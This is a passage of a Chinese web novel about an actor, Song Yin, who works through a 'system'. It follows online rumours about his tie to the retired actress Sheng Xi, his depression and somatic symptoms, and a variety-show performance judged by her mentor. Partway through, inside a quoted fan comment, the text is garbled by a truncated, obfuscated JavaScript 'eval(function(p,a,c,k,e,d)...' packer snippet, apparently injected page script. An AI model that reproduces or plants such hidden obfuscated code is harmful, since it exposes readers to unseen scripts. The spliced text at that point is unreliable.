【越想越气，再晒毕业证自证一下，采访里提到没听宋寅提起过sx是因为我们当时都是高中生，忙着学习，还是火箭班，谁闲的没事聊这个？他没提过就说明他们不认识吗？】 【我了解宋寅，我知道他不会无缘无故袒护一个人，当然了，有些无脑粉丝的袒护我是不懂的，宁愿事无巨细扒一个人，也不愿意真正去接触去了解】 发得有点多了，宋寅看到的时候有点怀疑是系统发的，因为它有时候会给他一种有点人味的感觉，但是又觉得不至于，对此他也保持沉默。 但是对可信度倾向的变化，他呈现出了一点兴趣，他看着可信度倾向里的关键词，轻声问：“暗恋，和骨科是怎么来的？” 【emmmm，可能是部分粉丝脑补？】 李珂：“宋老师……你和盛老师很早的时候就认识了吗？” 宋寅：“嗯。”他说：“我们已经很久不用联系了，你可以不用为工作准备这些讯息。”他们以后，大概也没有见面或者合作的必要。 李珂小声地“哦”了一声。 可是李珂很快又问：“宋老师，你以前，去过宁城表演学院吗？” 宋寅转头。 爆出来的是演技派综艺前采的一个视频。宋寅本来前一段时间就要去拍摄演技派综艺的，但是因为他这段时间引发的争议，和和天光签约的事，导致节目组那边有些举棋不定，近期才官宣。 而官方发出来的下一周，竞争学员的面试预告里，就有对宋寅的采访，那个时候宋寅已经通过节目组的选拔面试，在陆蕙兰面前表演剧目了。 也就是在点评的时候陆蕙兰说：“你为什么没有学表演？” 旁边的导师说：“我看着你觉得很眼熟，你去过宁院是吧？” 预告没截全，其实宋寅当时说的是没有，但是因为宋寅和盛蹊的绯闻，现在几十条评论的热搜博下面都是： 【哇塞哇塞，所以这是去盛蹊的学校过？】 【好烦，不认识的糊咖成天炒作】 【我比较好奇他和盛蹊到底啥关系？没关系纯炒作吗？】 然后就是人机评论了。 宋寅早就知道他那么做，和本体的纠葛会超过以往，但是也没有想到会这么多，这么频繁，仿佛，绯闻就算是名不见经传的配角都是惹人注目的，而角色要有流量才是角色。 他依然没有回应，只是走几步头晕才回过神来，但却发现手指僵硬，人也仿佛僵在那，可信度里的“轻度抑郁”闪烁，仿佛在告诉他，这是什么在起作用。 系统着急：【宿主你应该是躯体化了，我就说你整天待在房间里今天还请假了，他们可能以为你更严重了……】 但宋寅第一反应是：原来躯体化是这种感觉，那程兰的戏服被烧，剧本写他僵在那，死死睁大着眼睛，可能也是躯体化了？他根本不知道怎么做，只是那个时候，还没有躯体化这个表述…… 他站在那出神，李珂过了一会儿才反应过来，赶忙来搀扶她的，声音还紧张得变了调：“宋老师？” 宋寅张嘴，但发不出声音。他感觉到情绪一下子进入深不见底的黑洞，仿佛你知道你这样低落是不对的，但是你很难摆脱这种低落，整个人也被抽空了力气。 宋寅说：“……澄清……” 果然，有人发： 【可是我看到过宋寅吃抑郁药啊？那他怎么从高中的学霸变成现在这样的？之前还有人说他住青年旅舍，啊这，好惨……】 【啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但是宋寅靠着套间沙发休息时，李珂倒水时忽然翻到了套间里诊断说明书。她发誓她不是有意想看的，但是那诊断说明书就像是特地出现在这里的一样。 她不知道是因为知道宋寅生病的两个人，都不约而同想到上次在医院，宋寅晕倒而且不愿意告诉她们具体是什么原因，她才会营养不良。 程梦也想起，宋寅不愿意承认他厌食、抑郁。可是那一天的诊断说明书分明写着，无器质性病变，所以怀疑是情绪焦虑等原因，导致的厌食。 李珂张张嘴。 系统小声提醒：【宿主，你要不要吃点东西。】他的身体情况被更多人知道后，可信度倾向里的低血糖，营养不良快成debuff了，系统还看见宋寅的手指有点发抖了。 因为其他人都相信宋寅现在的病还没有好——他在直播里的表现，完全不像是一个情绪由自己控制，而且生活得很幸福的普通人。 程兰的路透照更是雪上加霜。里面的宋寅瘦得都快晕倒了。 但是宋寅只是在尽可能轻盈地感受这种病入膏肓的感觉，然后他轻声说：“至少这样……注意力是回到了我身上。” 本体的生活，会安静一些。 他有时候都在想，如果宋寅真的大火了，他还会让本体去演话剧吗？不过那些都遥远得像是在痴人说梦。 宋寅说：“我们现在要做的是应付那些关心我的同学。” 系统还想说什么，下一秒，手机果然响了，李珂看宋寅，帮他接了，然后按了免提。 对面果然是宋寅以前的同学，开口还是：“宋寅，你怎么换手机号了，要不是还有人联系过，我们都联系不上你了，你，还好吧？” 很显然，出来证明宋寅没有“不好好读书”和“早恋”的同学，还不知道这位“高中同学”近况如此之惨。他以为只是网络中伤，但想起了这个同学之后立刻就想关心一下他。 宋寅：“我没事，只是网上有些夸张，减重是为了角色。” 李珂拿着手机，吸鼻子。 同学犹豫：“那你家那边……叔叔阿姨他们……” 宋寅沉默片刻，他知道这点是避无可避的，毕竟他的同学还可以被植入他的相关记忆和印象，可是两个成年人，突然多出了一个孩子，涉及到的麻烦，可能比完成可信度倾向还要多得多。 他只能说：“他们都去世了。” 同学震惊地停了两三秒，愧疚道：“对不起。” 宋寅：“没关系，都过去了。” 同学更难过了：“那你在热搜上的那些，我们帮你澄清一点？” 宋寅手终于不抖，可以自己伸手去拿杯子喝水和吃药了，他说了声：“谢谢，但是尽量不要牵扯到其他人，我父母那边有些亲戚，虽然关系不是很近，但我不希望他们担心，而且，我现在已经过得很好了。” 同学很伤心地说：“那你还跳舞吗？” 李珂伤心地抬起头，忽然被电了一下般意识到一个事实：宋寅没再跳舞，很可能不是因为他突然不喜欢跳舞了，而是因为，他抑郁了。 他毕业的院校也是很知名的学校，如果他保持高中的学习习惯，不至于毕业就找不到工作。 但是，他没有再提跳舞的任何有关的事。 他不跳舞也不是因为简单的情绪问题，而是因为他没有办法控制自己的躯体化。对躯体的控制应该精准到指尖，每个动作都和他本人一样，是沉静温柔的人，他再也不可能像以前跳舞了。 宋寅微微张了张嘴。 李珂的角度，只看到他微垂着头，眼睫在面庞上投下阴影，唇色也很苍白，然后好像是为了宽慰他的同学般，哑声说：“我本来也不太会跳舞。” 同学沉默着。 宋寅想要挂断电话，他感觉这段通话让很多可信度倾向往不可控的方向去了，但同学接下来的话却是小心翼翼地说： “那你和你的朋友……” 宋寅的呼吸很轻。他反应过来，却是轻轻盖了盖自己的眼睛，知道如果说盛蹊知道，她面临的道德压力会很高，可是如果说她不知道，现在热搜上全都是，也有点假。 最重要的是，如果宋寅真的是因为盛蹊才存在这个世界上，他会让她知道吗？利用自己的经历博取同情，这不会是宋寅的人设。 “我们一直没有联系。” “她什么都不知道。” 宋寅的呼吸更轻。 “我没有想让她知道。” 21. 第 21 章 宋寅参加的综艺对妆造的要求没有那么高，但是化妆师化妆的时候依然感慨：“你皮肤好好。”宋寅心想，身体虚弱，抑郁焦虑躯体化，但依然看上去相貌出色，可能只有系统才能做到吧。 可是看到化妆镜里的自己，却轻轻一怔。 化妆师看他突然抬起手，有点紧张：“怎么了这位老师，是我的妆哪里画得没有……” “不是，”宋寅轻轻回应，他说，“是感觉我的状态好像不太对，老师，麻烦你待会儿化妆的时候把我的气色画好些。” 他一直在程兰这个角色里，都没有留意到，他的眼神竟然变得这么没精打采，了无生趣，可是接下来的那个角色不是这样的，宋寅不希望自己在综艺里呈现出和角色不符的状态。 那样就算台词演技到位，观众依然会觉得出戏。 演技派留下来的几个演员却在讨论宋寅：“据说是新人？” “签了天光，应该真是新人吧？” “但是网上现在骂得好狠。” 提到现在的顶级流量，演员们都不再说话了，他们都是能拿到一些资源，但是资源不如白熊平台顶级制作那么好的二线三线，当然不会对周宇这样体量的流量明星说什么了，而且演技派综艺风评一向不好，就算是化妆，谁知道不会流出去。 但还是有一个人——这个综艺里公认的演技上的一姐，她也是圈内比较出名的戏红人不红的演员，刚出道那几年也人淡如菊，现在口碑是所有人中最好的，她说：“都是粉丝骂的，不信你去大街上随便找一个人，看看他会不会骂？粉丝有组织，你们才觉得他们千军万马，实际上，路人缘都烂透了。” 演员们对视几眼，倒是不敢在这个时候插话，林依非走出化妆间，经纪人做贼一样把她拉出来，压低声音：“祖宗，你又干什么了！” 林依非冷哼一声。 经纪人恨铁不成钢：“不就是谈过一段时间么……” 林依非反而破防了：“你别跟我提！就当这段是我黑历史了，我上节目不给他爆出来都算我人品好了，现在还想像踩着我一样踩着别人上位？你等着看，周宇他在这圈子里绝对混不了多久，真能转型成功我倒立吃屎！” 她气得把门甩了，经纪人想到会有多少人听到脸都绿了，但是还好，现在周宇在圈子内风评确实不好，关于他的瓜到处都是，而且现在周宇的粉丝可能是察觉到什么，越来越疯，一般人也不敢轻易爆料。 不过圈子里一直说，一个明星的粉圈如果疯了，这个明星离倒也不远了，经纪人带着林依非被打压了这么些年，也希望周宇赶快倒了，造福她家艺人和其他女艺人就是了…… 宋寅在群体化妆间里闭目休息。他的咖位并没有那么大，上次录演技派的时候甚至没有化妆间，是站在摄制片场外直接化的，但这次化完妆久久没有离开座位，并不是他想占着这个位置，而是他感觉到低血糖犯了，而他，还没能进入唐青这个角色。 是因为和本体有关么？ 他不知道。 一起参加综艺的演员三三两两进群体化妆间来，看见宋寅在睡觉也没有打招呼，直到陆蕙兰走进来，整个化妆间的艺人都瞬间站起来：“陆老师。” “陆老师好。” 林依非冷着脸进来，看到陆蕙兰也打了个招呼，半鞠躬。 陆蕙兰的荧幕角色不多，但是在圈子里地位非凡，这不仅是因为她作为宁戏的老师，圈内学生无数，人脉强劲，也是因为很多年前她出道的时候，也曾火遍大江南北。 只是那个时候的戏不多，合适陆蕙兰的更少，她只留下了一个荧幕经典形象，就淡圈做老师了。 宋寅在陆蕙兰进来的时候就感觉到了，没人叫他，但是他依然头一批站起来，只是因为直立性低血压，眼前黑了一下，扶了下椅子。 陆蕙兰知道宋寅在圈内不可能会有什么好待遇，所以是特地来的，当着那么多人的面问：“没事吧？” 宋寅好像也不知道陆蕙兰为什么特地问他，怔了一下，然后才说：“没事，谢谢陆老师。” “为了戏减重也要注意适量，待会儿要是撑不住去我休息室拿点香蕉吃，我带你去见见制片人。” 走出化妆间，陆蕙兰说：“我和盛蹊聊了聊你的事。” 宋寅脚步一顿，他很快明白老师的用意：他没有通知本体就邀请本体直播并搭戏的事，在老师眼里显然超过了正常交往的标准，她多方试探，还找到本体这里，就是为了确定他们没有什么特殊关系。 既然没有特殊关系，那么这点特殊照顾，也是为了堵他的嘴。果然见了制片人，离开的时候陆蕙兰说：“我希望我的学生这段时间能不受其他人的打扰。” 她转过身来看着他，李珂刚去拿落下的东西，被指点找到这里来，发现自己听了不该听的，尴尬地站在那，但陆蕙兰也只是看了她一眼，继续说：“我想你应该明白我的意思。” 网上的舆论太多，终归会影响盛蹊的心态，那样其实退不退圈，她的状态都回不去。 盛蹊很感谢老师，可是宋寅声音微哑开口：“网上说什么，不是我能控制的。”他一开始也想隔绝和本体的关系，但是……那么多千丝万缕的联系，怎么可能斩断？ 陆蕙兰：“待会儿开始录制会抽你们挑战的片段，节目组肯定会让你演《盛开的夏日》，你可以拒绝。” 《盛开的夏日》，就是盛蹊饰演女二，但是被骂全员都上不了桌就是因为她这个女二掀桌的那部片子，综艺导演不可能真的让他们无准备去挑战，所以给了他们一个范围去准备那个可能挑战的角色，而宋寅一看到就知道，他们需要他饰演的是盛夏的男主。 那个最可能引来话题度的角色，但他不在乎。 宋寅站直了，眼睛里透露出某些急切的神色：“陆老师，我可以听您的，我保证，这部综艺结束之后，我不会再接触和她……和盛蹊有关的角色，但是这个角色，您看过盛夏这部剧吗？” 她以为老师只是单纯不知道。 陆蕙兰：“我看过。” 现在换宋寅站在那，张着嘴，却不知道说什么。陆蕙兰眉梢轻扬：“我当然看过，但是圈子里的事不是你想的那样……” 有工作人员路过，陆蕙兰停了一下，然后继续说：“只要你给了话题度和画面，他们就会关注你想关注的，直播的时候你不是也尝试了吗？有谁关注到盛蹊的演技了？他们不还是在讨论你和盛蹊的关系？” 她摇头：“作为一个演员，我不希望她这样，我想她也不会希望会的。” 宋寅哑声：“这不一样。” “哪里不一样？” 宋寅低头很久，然后继续说：“这部戏，她是被夸过的。” 陆蕙兰同样沉默地良久地注视着他，然后说：“宋寅，我有的时候真的不明白，你是想给盛蹊做垫脚石，还是想拿盛蹊做自己的垫脚石，但是我可以很负责任地告诉你，没有人关心你的演技，你在演什么，没有出人头地，你想给谁出头？” “你要无休止地让她成为被消费的对象吗？你想让你一出现的时候就让人联想到你和盛蹊的关系，你们感情多么好，而她完全被遮盖？还是你想让别人说，你进圈演戏，都是为她做的？” 宋寅僵在那，而陆蕙兰笑了一下，她摇头，不知道自己该说什么，但是这一刻是真的觉得宋寅有些可怜。她从学生那得到答案，还以为宋寅真的是自己钻营，想要立这样的人设，但看他完全僵住的神情，又发觉他未必是假意。 那他为什么要这么做？ “在你的戏成为你的代表作之间，不要提到她的名字。宋寅，这是你的演艺生涯，和她没有关系，不管是夸还是骂，我都不希望波及到她身上。” 李珂心里疯狂喊她这是吃到什么瓜了，看宋寅僵在那也有点担心，正要上前，宋寅看陆老师转身，突然开口说：“为什么她在圈里的时候您不说这些话？” 李珂手脚凉了一下，不敢相信宋寅居然敢对圈内大前辈说这些，然而更让她难过的是，他都被这样说了，想到的还是，为她问。 宋寅声音沙哑：“为什么您还愿意帮她，对她还有希望，可是她在这个圈子里……”他居然说不下去了。 呼吸断续，连陆蕙兰都听出来，他不是装的，而是真的情绪波动，说不出话来。陆蕙兰在那站了一会儿，然后看他： “你现在还觉得，她在这里待不下去，是因为没有一个足够有分量的人帮她说话吗？如果真是这样我不用给我的学生推荐任何角色，只需要和各大导演说，她会演就好了。” 宋寅知道她说的是自己没有作品，这一点她知道，她一直知道，甚至就是因为这样她才很多年没有联系老师，她不敢让老师知道，所以退圈才发现老师并没有对她感到失望。 可是宋寅说：“她根本没有合适的角色。” 李珂快步走到宋寅身边，才发现他声音在抖：“她演了很多年戏，一直都……没有，不是吗？”他真的希望老师能给她解惑。 包括宋寅入圈能碰到李若白这样的角色，甚至第一个角色就积累起一批粉丝时，盛蹊都感觉到不可思议。这种感觉，是她不曾体会过的，所以她才急切地想要宋寅证明，她并不是没有成绩吧。 可是老师却阻止她这么做。 陆蕙兰神情并没有波动：“好的角色是要自己去找的，而且也要自己创造，宋寅，你只是很幸运。” 接下来那些话像回音一样，一遍遍钻进宋寅的脑子里：“你的外形恰好和那些流水线角色一样，足够精美，所以不需要去创造内核，也有人喜欢，盛蹊和你不一样。” “找到合适的角色很难，但是对她也是个机会。她在圈子里撞来撞去，只要没有放弃演戏，创造自己的角色是迟早的事，可是宋寅。” “你在创造角色吗？” 陆蕙兰表情很淡：“你只是在贴合角色而已。她的路和你不一样，你可以大红大紫。” 她说：“我对我学生的要求从来都不是大红大紫。” 宋寅竟然有点喘不过气来，他视线模糊，然后说：“不大红大紫，根本不可能有合适的角色……” 陆蕙兰看他一会儿：“你还是想演《盛开的夏日》。”他不愿意放弃让盛蹊的角色被更多人看到的机会。 宋寅没有说话，可是李珂从他惨白的脸色看出来，他的情绪已经不受控了。 陆蕙兰淡淡地祝愿：“以你的脸，可以大红大紫的。” 宋寅：“可是我希望她大红大紫。” 陆蕙兰脚步顿住。 她仔细地看着宋寅，仔细地看着他和盛蹊那双相似的眼睛，然后由衷说：“我应该劝她早点离开这个圈子的。” 她说完就走了。 留下宋寅在那，有一瞬间，他真的想切换回本体，问陆老师她刚刚的话是什么意思，和老师把话说清楚，但是回到摄制的片场，他就失去全部力气了。 李珂不确定他情绪波动的，是关于陆蕙兰不让他提起盛蹊，还是说盛蹊应该早点退圈这部分，犹豫了半天，正想说什么，摄制开始了。 宋寅的眼睛比刚刚更无神，他看着镜子里的自己，努力让自己打起精神入戏，可是站起来时，他电光火石想起那句，我应该劝她早点离开的。 ……原来老师帮她，并不是因为发现她退圈，遭遇打击，也不是因为她觉得她还没有无药可救，而是因为老师觉得，她发现，自己被圈内的浮华遮住了眼睛。 她觉得自己失去了演戏的初心。 可是不是老师的学生，不是爆剧的配角，不是能吸引观众的演员，她怎么可能接到合适的角色呢？没有一张市场和资方都喜欢的脸，就算有合适的角色，他们又怎么会让她演。 宋寅终于明白。老师没有安慰她，鼓励她，也没有在她低谷的时候肯定她的演技，是因为老师觉得她没有自己去创造她努力争取到的角色，她没有努力去让那个角色只属于自己，而是和其他人一样，模式化的表演，流水线的留下一个平平无奇的角色。 她自己可能并不是不知道。 可是如果不这么演。 她连这样的角色都没有了。她怎么可能会不想，要一个只属于自己的，她可以随意发挥的角色呢。 可是连演李若白的时候他都只能悄悄地按照原著来演，他并不能承担失去角色的风险！ 李珂拿着巧克力进来，发现宋寅居然在掉眼泪，妆都要花了，惊得手都抖了，但是宋寅很快擦干净眼泪，深呼吸然后平复了情绪。或许是怕她担心，他还略略笑着，安慰她：“没关系。” “我一定会演《盛开的夏日》的。”他低着头，像是在对自己说话。“我不是想要他们看到，我只是想让他们正视我。” 老师。你太久不在这个圈子里了。你不知道，要想被人看见，真的好难啊。 综艺平稳录制到宋寅这个上期高分演员入场，然后抽选自己的挑战角色。 宋寅按下按钮，看到大屏幕上出现唐青这个角色的时候，心还漏跳了一拍，再对上陆蕙兰的视线，他明白了，他不是想向任何人证明。 他只是想要一个公平的评价机会，让他们抛开任何的对于她本人的偏见，去评价这个她用心血浇灌的角色。 宋寅鞠躬：“谢谢各位老师，我想选择这个角色。” 陆蕙兰看了眼简历：“为什么选择这个角色，说一说吧。”她并不是在威胁他，只是平静走流程，反正告诉宋寅只是让他心里有个数，他提不提起盛蹊，她都准备带着她进朋友的剧组了。 陆蕙兰没有和盛蹊说，要进的那个组，是她息影多年后首次复出，盛蹊没有和她倾诉过，但是陆蕙兰知道她一直没有合适的角色，既然她找不到，陆蕙兰想以自身经历亲自示范一下，怎么找。 年轻人的想法，她也理解，但是盛蹊是她的学生，和他也并没有什么关联。陆蕙兰轻轻皱了下眉，以后提醒盛蹊和他走远点就是了。 但是宋寅说：“没有什么特别的原因。” 他还是听了她的，但是一定要把这个角色带上综艺。 因为和唐青对戏的，是久负盛名的林依非，她饰演的刚好是盛蹊曾经那个角色，爱她者说她疯狂生长出血肉，但是恨她者说她没有颜值却疯狂加戏的宁素卓。 宁素卓和唐青是青梅竹马，少年分别后他们终于久别重逢，宁素卓摆脱了窒息的原生家庭，也当上了他们共同所在公司的人事主管。 但那只是表象。 游刃有余，从容不迫，只是宁素卓给自己戴上的假面，原本她在人群中，偶尔也可以摘下假面呼吸一会儿，做回真正的自己，但是唐青空降过来之后，一切都变了。 宁素卓不敢再做回曾经那个自己了，即使唐青偶尔用洞若观火的目光看着自己，她也要挺直脊背，说自己过得很好。 她要告诉唐青，她不再是以前那个丑小鸭、是那个只能哭着阻止父母打架的可怜虫了。她也要用最好的姿态，告诉他，她现在可以和他在一起，因为她终于配得上他了。 可是唐青却喜欢上了另一个人。 节目组截取的正是这部剧中最激烈的片段，宁素卓知道唐青和女主的恋情之后，压抑情绪，想要亲自来男主工位质问，可是看到男主为了处理女主家人惹出的祸端，擦去西装上的污渍时，情绪终于崩溃—— 宁素卓这个角色的底色，在这个情节里就落在那句台词上了。 她崩溃地喊：“为什么我都努力变得那么好了，你却告诉我，你喜欢的还是那个无能的人！” 你还是喜欢那个无能为力，只能朝你大哭的丑小鸭！ 她崩溃，是因为女主很像从前的自己，她不能接受，也是因为她觉得她努力摆脱的，她出于自卑洗去的全部印迹，到最后，有另一个人捧起来说你这样很好，最崩溃的是，这个人还是她最喜欢的人。 那她那么努力挣扎是为了什么，她一直不肯回去是为了什么，她的蜕变是什么，无用功吗？ 林依非的情绪爆发力很强，台词更是所有挑战演员里最稳的，所以她喊出来，这整句话整个场景就对味了，导师学员全都共情到宁素卓这个哭腔里，而且陆蕙兰还发现，林依非对这个角色是做了和盛蹊不一样的处理的。 她略略点头，看向宋寅。 先看到宋寅的眼睛，她就是一怔。 唐青的角色并不如宁素卓丰满，这是盛蹊演这部戏的时候发现的，所以林依非按照她对角色的理解，处理宁素卓这个角色的情绪的时候，她并不觉得有什么，她只是觉得，应该给唐青这个角色一个空间。 当时骂她的男女主党骂这段的时候，说男主在这里对女配表现出了同情，同情几乎是爱的衍生品，所以这里崩人设了，导演乱导，才导致这段有人心疼女配，心疼她花了这么多年全都是白费的。 实际上男主爱上女主和宁素卓根本没关系，女主没有宁素卓相似的品质，他们也会相爱！这里是宁素卓自以为是，才会认为男主是把女主当成自己的替身来看待。 他们骂盛蹊饰演的宁素卓，也是基于这个逻辑。 但是宋寅的处理和当时的男主完全不一样，他没有任何同情，怜悯，或者说其他导师觉得在这里也很正常的，不忍的情绪。 他只是静静看着。那双灰色的瞳孔里，一点超出同事界限的波动都没有，导师们甚至都看出，宋寅这里是把这个角色和宁素卓这个角色的渊源，边缘化了。 唐青像是完全不记得他们的过去，或者记得也不在乎了。他反而表现得像一个合格的同事一样恰如其分，台词虽然还是那些台词，还是：“发生什么事了？” “你先冷静一下，有什么我们好好聊聊。” 以及：“是因为以前的事吗？” 这三句。 可是完全没有原剧片段，那种男主也不忍宁素卓那么崩溃的感觉，而是男主好像发觉，宁素卓的崩溃和自己有关，反而因为这个有关，横生出距离感一样。 他保持着克制的态度，没有过分介入宁素卓的情绪。 林依非反应得也很快，不如说，她代入了这个角色，给了完全合理的反应，她难以置信地，且伤心地看着他，死死咬着牙，骄傲和倔强让她不肯泄露一丝狼狈，可是已经崩溃的情绪又让她的骄傲渐渐决堤。 “你怎么可以……” 陆蕙兰和另一个女导师狠狠皱眉。情绪不对了。也是这一下，陆蕙兰笔尖点着简历，忽然有点怔愣，想起原片中，盛蹊的那个反应，就是在这里和林依非完全不同的。 所以宋寅这样演，是为了让他们看到，盛蹊在这段表演里的不同？ 唐青是很典型的精英形象，银边眼镜，严谨淡然，冷静从容，这样的角色其实没有男演员的什么发挥余地，基本上把高智感演得不出戏，就会有一批人叫好。 但是宋寅更演出了唐青这个角色的独立性：他的严谨冷淡，恰恰是建立在他对人的亲疏远近分得很清楚的基础上的。 面对宁素卓的崩溃，他并不是不关心，也不是厌烦，他及时递上了纸巾，也及时安抚了宁素卓的情绪。 甚至在宁素卓抽噎诉说的时候，他还恰到好处地表露出回忆起过去，所以沉默着，能理解她那种好胜心的同理心。 他能共情到宁素卓的那种自卑，和不甘的决心。但仅此而已了。 他还是能及时地抽离回来，让人看到银边眼镜下，他那双保持距离的，时刻清醒的双眼，观众其实也能一下子回过味来： 对啊，对于唐青来说，他们已经六年没见了，六年过去，物是人非，宁素卓心里，可能他们还是最好的朋友，有机会成为最完美的恋人，可是唐青心里，宁素卓已经是过去了。 宁素卓的执念，对于唐青来说不值一提！ 宋寅要点出来的，就是宁素卓的执念这一点。她疯狂地、近乎严苛地要求自己，把过去的唐青当做精神图腾这点，其实已经潜移默化地，逼疯了她。

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不是，她崩溃的是，她努力了这么多年，才发现原来自己拼尽全力想要的，只是别人施舍的那么一小点，她为自己不值，也为自己感到可悲，愚蠢。 可是林依非被宋寅带出去，演出可悲的那一瞬间，她被他的冷漠打到，又不自觉往难受那方面演了。 她根本没有意识到，对于宁素卓这种人后再怎么哭，人前也要光鲜亮丽的人来说，精神的崩塌才是最可怕的，她崩塌的不是关于唐青的认知，是关于自己的认知。 是她发现，原来自己是那样一个可怜虫。 宁素卓的故事里，唐青也只是个用来映射她自己内心世界的配角啊。 可是在演的时候，她们谁意识到这一点了吗？ 摄制结束，片场鸦雀无声，陆蕙兰带头鼓了掌，其他人才回过神来，林依非立马弯腰鞠躬：“对不起老师，我刚刚演得偏差了。” 陆蕙兰没说点评，而是道：“原剧这段有个很好的处理，你可以去看看。” 然后才看向宋寅：“你刚刚说，演这段没有什么特别的原因？” 宋寅：“嗯。” 陆蕙兰看他一会儿，然后说：“可是我觉得，这段像是盛蹊握着你的手，一句一句带你演的。” 宋寅好像没想到会在这听到她的名字，愣了一下，然后才说：“我和盛老师……之前确实有过交流，但是那是很久之前的事了。” 孔蕤——节目另一位女导师说——“原片对于宁素卓这个角色刻画得有点少了，但是按在剧本里，你这么演是对的，这段本来就是宁素卓的独角戏，在这个片段里，唐青就算再是主角，也得沦为配角，他只是宁素卓内心世界的旁观者，之前的唐青也只是宁素卓心里的一个幻影。” 她看向陆蕙兰寻求赞同，陆蕙兰点头之后，孔蕤继续说：“他能在这段戏里让位，是因为普通人看到身边人崩溃的反应也是，她一定是遇到什么事了，这个事儿可能由我引起，但是和我无关，所以，关心但不介入的态度是对的，你演得比原片好。” 宋寅鞠躬：“谢谢老师。” 然后是那句她梦寐以求的： “原来那个女演员演得也比今天好。” “盛蹊演得也比林依非好。” 孔蕤和陆蕙兰这两句话同时说，然后陆蕙兰和孔蕤对视了一眼，孔蕤笑着说：“我之前还问盛蹊是不是陆老师的学生，现在看就是名师出高徒了。” 陆蕙兰摇了摇头，然后若有所思，看着宋寅说：“现在这个环境，确实很多都会影响演员的发挥。” 她想起她对宋寅说的。 盛蹊没有在创造角色吗？未必，可能对手演员接不住，导演不重视，编剧刻画不到位……她努力想表现的内涵，就这样被曲解被遗漏，可即便如此，她也努力做到了自己该做的。 而且即使是宁素卓这个角色的内涵没有被百分百传达，也依然有一批粉丝，因为看了这个片段，看到宁素卓的挣扎痛苦，崩溃绝望，爱上盛蹊。 陆蕙兰忽然有点理解她这位学生为什么那么喜欢演戏，又为什么在直播前说退圈的时候，眼神依然非常渴望留在这个圈中了。 明明她不是没有努力过，明明只是差一点的。 摄制结束，陆蕙兰叫住宋寅。李珂本来看得很感动，连连吸鼻子，看到陆蕙兰，又很警惕地抹了抹眼睛，看到宋寅对她摇头示意她不用去，才站在原地。 陆蕙兰说：“你缺不缺角色？” 宋寅愣了一下，片刻后才摇头：“暂时不缺，而且我刚签约经纪公司……”理论上，所有片约要经过他们，演技派综艺都是因为是签约前签的，所以只他自己来。 陆蕙兰却说：“你们这个圈子和我们那时候确实不一样了，所以我介绍的角色，有些盛蹊不需要，我也能理解。但是你刚入圈，应该不至于不缺角色。” 宋寅才是真的手脚发凉，声音甚至都有些抖：“什么……角色？” 陆蕙兰诧异地看他一眼，回想一下，恍然：“你是说我给盛蹊介绍的那些？虽然不是什么大角色，但是和宁素卓这样有点发挥余地的还是有的……” 宋寅哑声：“她不知道。陆老师，她真的，从不知道。” 她一直以为，老师是因为对她失望了才没有联系她，更不用说给她介绍角色。如果恩师还一直给她机会，她怎么会失望到，觉得自己根本就不适合留在这个圈子里！ 可是老师毕业后介绍的几部戏，她都毫无水花后，她就确信，再也没有接到过老师的消息了。 陆蕙兰也很诧异，可是第一反应却是看他：“你怎么知道？” 宋寅并不能回答，他只能哑声：“她真的不知道。” 陆蕙兰摇头：“算了，都过去了。”介绍角色这个事儿，第一，她肯定不会像走关系那样，直接告诉盛蹊，她可以去面试，都是陆蕙兰直接给导演编剧推，对方让盛蹊去试镜，这种试镜没试上没什么好说的。第二，盛蹊现在已经退圈了，再纠结这些还有什么意义呢？ 她只是说：“你再好好考虑。” 她在宁戏和娱乐圈做老师这么多年，还是有点惜才之心的。 但是宋寅回去，越想越觉得心脏煎熬。所以老师是以为她推掉了那些她给她挑的角色，选择了那些扁平的古偶，流水线角色，才觉得她浮华不脚踏实地。 可是她根本没有机会选择过！ 不到酒店，宋寅就切换回去，拿着手机手指发抖地询问宁露姐，可是要发出去，她却删除了。有什么意义呢？盛蹊心想，反正，她这么多年都已经蹉跎了。 可她还是不甘心。 宁露看到未接电话，打过去：“盛蹊？怎么了？是线下遇到……” 盛蹊：“宁露姐，我去各个剧组面试的时候，是不是有剧组给过我角色，让我去试？” “……”宁露沉默了。 盛蹊哽咽：“为什么？” 为什么？为什么没有人告诉过她，老师不想被人说是走后门，也不想让她没经过考验就拿到，她能理解！可是为什么公司和宁露姐也没有考虑过她，明明是她说她的演技够好，一定会红的！ 宁露却沉默了很久，然后才说：“盛蹊，试镜通知是发到你个人的，但是公司为什么不让你去的原因你应该清楚。你的条件不够出色，配一个好的角色，爆的概率也没有其他人那么大，公司只是想利益最大化！不信你问问业内其他公司，这种拒绝适配度不够高角色的事，其他业内也不是没有……” 可是那是她的机会！ 这句话卡在盛蹊喉咙里，可是她喊不出来。这一瞬间，她居然有种共情宁素卓的可悲感，可笑的是还是在她竭尽全力饰演完宁素卓之后。 盛蹊哑声：“因为你们觉得以我的脸也不会红。所以给你们觉得更容易红的人演，是吗？” 没等宁露回答，盛蹊就挂了电话。 她早该知道的，这个圈子还是那样。她怎么可能没有过机会，她就知道，她应该有过机会的……可是机会并没有到她手里。 愿意要演技好演员的角色，被公司给了其他人，她能争取到的角色，不需要演技好的人来演，多么可笑。最后还是看脸这一个逻辑。 什么叫做，也没有那么大概率爆。 怪不得当时和周宇的丑闻出来，那么多人骂她就长成这样也配，原来在他们眼里，这张脸占的比重，居然那么大。 盛蹊闭了闭眼。 宋寅再从休息室里出来的时候，李珂本来抱着平板想和他说第一期演技派播了，看到他，愣了愣：“宋哥，你眼睛怎么……” 怎么红成这样了？上次和同学打电话，说他父母去世了，他都只是捂着眼睛，但现在，他的眼睛除了眼球外，全都红透了，看着像是狠狠哭过。 宋寅轻轻地擦了下眼睑，然后说：“很难看吗？” 李珂愣愣地摇摇头，然后立刻说：“我这有眼药水……” 宋寅嘴角轻轻扯了扯，虽然是笑，但是一点不像在笑：“不难看就好。” 他走了几步，又回过头来，哑声说：“李珂，你会拍照吗？放到网上那种。” 李珂立刻点头。 宋寅接过手机，看了李珂拍过的几张，然后在李珂小心问怎么突然要拍照的时候，低着头说：“我想让她看见。”声音很哑。 很奇怪，没有前后文，李珂也不像程梦那样知道，宋寅说过，我不想让她看见，但就是知道，他说的她是盛蹊。 宋寅：“看见我，一直走到了哪里。” 